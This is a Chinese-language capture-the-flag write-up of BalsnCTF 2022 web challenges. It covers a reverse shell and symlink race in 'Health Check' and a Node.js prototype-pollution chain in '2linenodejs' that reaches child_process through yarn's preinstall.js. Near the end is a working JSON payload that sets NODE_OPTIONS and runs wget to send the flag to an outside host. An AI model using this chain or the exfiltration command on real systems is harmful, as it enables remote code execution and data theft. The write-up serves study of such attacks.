0%

BalsnCTF2022 web wp

BalsnCTF2022 web wp

在天哥的带领下简单的看了一下题,然后天哥ak了web,tqltql,我太弱了

my first app

nextjs写的站,我是js垃圾,我看这个玩意以为是后端框架,然后找了半天没找到交互的点,完全不知道怎么打,结果天哥和我说这个玩意是前端框架,定义的变量也都打包到前端里去了,直接f12就能找到。。。。
学习了

Health Check1

扫目录扫到后台,可以传一个100k以内的文件上去执行,直接弹一个shell回来看源码,第一个flag在flag1.py里面,flag1.py是被import了的,所以会生成pyc,虽然flag1被改成了不可读,但是pyc默认可读,直接读pyc就能拿到flag

python生成pyc的逻辑就是当一个文件被作为模块import的时候,会认为其会被重用,就会生成pyc

Health Check2

和1共一个环境,上去看了源码可以知道是对你传的压缩包解压缩,然后执行里面的可执行文件,如果里面有一个docker-entry文件,就把当前目录挂载到docker里面然后以一个中等权限用户进去执行docker-entry,否则就是以nobody启动里面的文件,也就是1里面弹的shell,flag2的权限比较高,nobody读不了,docker那个操作魔幻的一比,让人看不懂,但是看了半天感觉逃逸不出来。
然后还提供了一个读status.json的功能,但是在读之前会resolve一下这个文件是不是在当前目录下(就是防软链接)
然后直接条件竞争就行了。。。当前目录任何用户可写,传一个文件直接反复删写status.json在普通文件和指向flag的软链接间横跳就行,加上是服务去读这个文件返回,权限也足够。竞争一波就能拿到flag

2linenodejs

这个题挺究极的。。。居然也能出13个队,太牛逼了,或者说我太垃圾了

主要代码就这点

process.stdin.setEncoding('utf-8');
process.stdin.on('readable', () => {
  try{
    console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n');
    const json = process.stdin.read().match(/\?(.*?)\ /)?.[1],
    obj = JSON.parse(json);
    console.log(`JSON: ${json}, Object:`, require('./index')(obj, {}));
  }catch{
    require('./usage')
  }finally{
    process.exit();
  }
});

index的功能就是把解析的obj进行一个值合并操作,原型链污染的功能。服务是用socat启动的,所以直接从stdin获取数据。并且每次访问启动一个新进程,也不怕污染坏了环境

显然应该是原型链污染然后可以在require处进行些什么操作,所以第一步是想办法在污染之后能报错进catch。。。。太垃圾了按了半天没按出来一个报错,这里有两个办法
一个是对{}.__proto__.__proto__赋值,赋值为对象和数组都会报错,但是赋值为字符串和数字就不会。。。玄学,理论上来说{}.__proto__应该是那个最顶级的所谓Object的东西,它已经是原型链的顶端了,再proto访问到的是null
另一个是另外声明一个变量,令其值为null,"a":null,因为这里会对每个属性进行遍历,null是不能被遍历的,就会爆炸

接下来,就要看require处的原型链污染能做到什么程度了

nodejs原型链污染

需要跟一下究极底层,可以直接用webstorm调,但是每次调完之后第二次调试就会报一个极其玄幻的错误Illegal char :> at index 4: node:internal/modules/cjs/loader,需要重启webstorm才能重新调。不知道怎么回事捏

另一个是天哥教的方法,直接node --inspect ./server.js启动,然后到Chrome里面去访问chrome://inspect/,可以连接到node的调试端口进行调试,就是Chrome的那个console界面调试,说实话用起来不太习惯。。。

总之跟一下require底层一点的实现,可以很容易的找到解析文件名的调用栈

require()->Module.require()->Module._load()->Module._resolveFilename()

这里有两个地方返回解析出来的文件名

  const parentPath = trySelfParentPath(parent);
  const selfResolved = trySelf(parentPath, request);
  if (selfResolved) {
    const cacheKey = request + '\x00' +
         (paths.length === 1 ? paths[0] : ArrayPrototypeJoin(paths, '\x00'));
    Module._pathCache[cacheKey] = selfResolved;
    return selfResolved;
  }

  // Look up the filename first, since that's the cache key.
  const filename = Module._findPath(request, paths, isMain, false);
  if (filename) return filename;

进入trySelf,发现可以原型链污染的点,出现了一个空对象(我当时真的没有注意到。。。。以前污染都是考虑对象是不是访问了奇怪的属性,没有意识到空对象就是完美的污染对象。。。太弱了)

const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};

readPackageScope会从底往上依次搜索package.json,并尝试从package.json中解析出包对应的文件,当找不到时返回false,而当前环境下刚好没有package.json,因此,就能够将其赋值为空对象,进而控制pkg和pkgPath的值

简单跟一下可以看到,pkg里面有两个需要用到的变量,一个是name,这个必须和require加载的那个文件一致或者打头,不然直接挂,另一个是exports,这个不太看得懂。。。但是可以在packageExportsResolve中看到一个const target = exports[packageSubpath];,target应该就是实际要被加载的文件,而packageSubpath在之前被赋值为.,所以令exports为一个{".":"file"}的对象,在该函数中调用了isConditionalExportsMainSugar

  let exports = packageConfig.exports;
  if (isConditionalExportsMainSugar(exports, packageJSONUrl, base))
    exports = { '.': exports };

也可以将exports变为如下对象,该方法在exports是一个数组是返回true

所以任意文件加载的payload大致如下

a.__proto__.data = {"name": "./usage", "exports":["./target.js"]}
a.__proto__.path = "target file path"

接下来就要找一个加载后可以rce的文件了

接下来是一些前置知识

node环境变量可控rce

node在启动时可以接受一个名为NODE_OPTIONS的环境变量,其中有一个--require选项,可以指定require指定的文件,不需要js后缀,可以做到任意文件包含

而进程的环境变量可以在/proc/self/environ中获取,在node启动时添加两个环境变量,分别为aaa=<code here>//NODE_OPTIONS=--require /proc/self/environ即可实现rce,第一个环境变量末尾用注释把剩下的环境变量内容注释掉

原型链污染+child_process调用到RCE

天哥说这个是被玩烂的老把戏,但是我真的是头一次听说。。。。

在child_process中,我们可以提供新拉起的process的环境变量和执行的文件,如果可以指定执行的文件是node,并且在env中添加如上--require /proc/self/environ等变量,即可做到任意命令执行,所以,原型链污染需要注意的点即为执行的文件和执行的环境变量

child_process提供了七个对外的函数进行命令执行,分别是exec, execFile, execFileSync, execSync, fork, spawn, spawnSync

fork调spawn,exec调用execFile调用spawn
execFileSync调用spawnSync,execSync也调spawnSync
最终都是归到spawn(Sync)上,而spawn(Sync)分别调用内部实现,而在spawn(Sync)的开头中调用了normalizeSpawnArguments,对传入的options进行处理,其中有这么一段

  if (options.shell) {
    const command = ArrayPrototypeJoin([file, ...args], ' ');
    // Set the shell, switches, and commands.
    if (process.platform === 'win32') {
      if (typeof options.shell === 'string')
        file = options.shell;
      else
        file = process.env.comspec || 'cmd.exe';
      // '/d /s /c' is used only for cmd.exe.
      if (RegExpPrototypeTest(/^(?:.*\\)?cmd(?:\.exe)?$/i, file)) {
        args = ['/d', '/s', '/c', `"${command}"`];
        windowsVerbatimArguments = true;
      } else {
        args = ['-c', command];
      }
    } else {
      if (typeof options.shell === 'string')
        file = options.shell;
      else if (process.platform === 'android')
        file = '/system/bin/sh';
      else
        file = '/bin/sh';
      args = ['-c', command];
    }
  }

file即为最终执行的文件,可以看到,当options.shell存在时,会直接将执行的文件变为options.shell,然后原本的command则变成了-c后的参数,而options需要主动传入,默认不存在,会被初始化成空对象,可供原型链污染,或者传入了options但shell属性不存在,也可以进行污染,控制实际执行的文件(但不能控制参数,所以还是只能走node+环境变量rce)
简单测下来,除了exec和execFile以外,剩下几个函数都能打

虽然fork中指定了execPath,并令shell为false,但该execPath从options中取,仍然可控
execSync和execFileSync没有操作options,可以控制
execFile比较无情,居然手动初始化了options

  options = {
    encoding: 'utf8',
    timeout: 0,
    maxBuffer: MAX_BUFFER,
    killSignal: 'SIGTERM',
    cwd: null,
    env: null,
    shell: false,
    ...options
  };

虽然最后的...options能覆盖之前的内容,但原型链污染只有在找不到值时向上找,options被污染了也只是个空对象,污染的值不能进行覆盖,打不了

exec调用的是execFile,但是先来了个normalizeExecArgs,这个里面又给options.shell赋值上去了,这样子就又可以把之前的shell覆盖回去,能够执行任意一个文件,但是参数又不能控制,由于env覆盖不了,执行node也没法做到包含js文件

寻找可利用文件

给了dockerfile,是node:18.8.0-alpine3.16,直接进去找.js文件,发现里面是有npm和yarn的(虽然yarn只有几个文件),然后直接在里面搜child_process,看看有没有文件直接调用了child_process的方法,可以找到一个/opt/yarn-v1.22.19/preinstall.js
在环境变量中有npm_config_global的时候会调用child_process的execFileSync方法,没传options,可以控制,环境变量默认也没有这个变量,均可污染

if (process.env.npm_config_global) {
    var cp = require('child_process');
    var fs = require('fs');
    var path = require('path');

    try {
        var targetPath = cp.execFileSync(process.execPath, [process.env.npm_execpath, 'bin', '-g'], {
            encoding: 'utf8',
            stdio: ['ignore', undefined, 'ignore'],
        }).replace(/\n/g, '');

当然,不控制启动文件,这里process.execPath就是node,并且还有一个node的命令行参数process.env.npm_execpath可控,而node命令行参数中有一个eval选项,也是直接执行命令

因此,构造出如下payload

{
    "__proto__": {
        "env": {
            "payload": "require('child_process').execSync('wget${IFS}http://www.z3ratu1.cn:10001/`/readflag`')//",
            "NODE_OPTIONS": "--require=/proc/self/environ"
        },
        "shell": "/usr/local/bin/node",
        "data": {"name": "./usage", "exports": ["./preinstall.js"]},
        "path": "/opt/yarn-v1.22.19/",
        "npm_config_global": 1
    }, "x": null
}

正则匹配把禁用了空格,所以命令中的空格用${IFS}替代,require用=进行连接,成功收到flag(alpine是自带wget和nc的)

参考文献

另一个做法可以参考这篇
2linenodejs

关于child_process的那个理由,就找到一个hpdog师傅写的
从Kibana-RCE对nodejs子进程创建的思考
这里他提到只有fork能用,其实不对,只有execFile和exec不行,因为初始化了options的shell或者env属性,但是按照hpdog的调试方法,其他的console.log也没反应,可能是输出流啥的没处理好吧,改成写文件是可以发现能够成功的